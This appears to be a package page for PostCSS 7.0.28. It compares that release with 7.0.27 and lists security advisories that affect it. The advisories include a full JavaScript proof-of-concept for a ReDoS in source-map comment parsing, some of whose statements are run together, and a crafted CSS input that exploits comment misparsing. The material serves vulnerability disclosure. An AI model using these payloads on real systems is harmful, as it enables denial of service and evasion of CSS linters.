PostCSS version 7.0.28 is a minor update to the popular CSS transformation tool, building upon version 7.0.27. Both versions retain the core functionality of PostCSS as a JavaScript-based platform for transforming styles, utilizing plugins to perform tasks such as linting, vendor prefixing, and future CSS syntax support. The foundational dependencies like chalk, source-map, and supports-color remain consistent, ensuring a stable environment for developers already familiar with the 7.x branch. The key distinction lies in the subtle refinements and bug fixes introduced in 7.0.28. While the file count in the distributed package stays the same at 38, the unpacked size has marginally increased to 1087166 bytes from 1086215 bytes of version 7.0.27. This suggests the inclusion of minor code improvements or updates, perhaps addressing edge cases or enhancing performance. Version 7.0.28 was released on May 2, 2020, offering developers a more recent iteration of PostCSS compared to version 7.0.27 released on February 18, 2020. For those seeking the latest fixes and incremental improvements within the 7.x series, upgrading to 7.0.28 is recommended. Both versions are MIT licensed and encourage community funding via Tidelift. Installation via npm or yarn remains the same, integrating seamlessly into existing workflows.
All the vulnerabilities related to the version 7.0.28 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.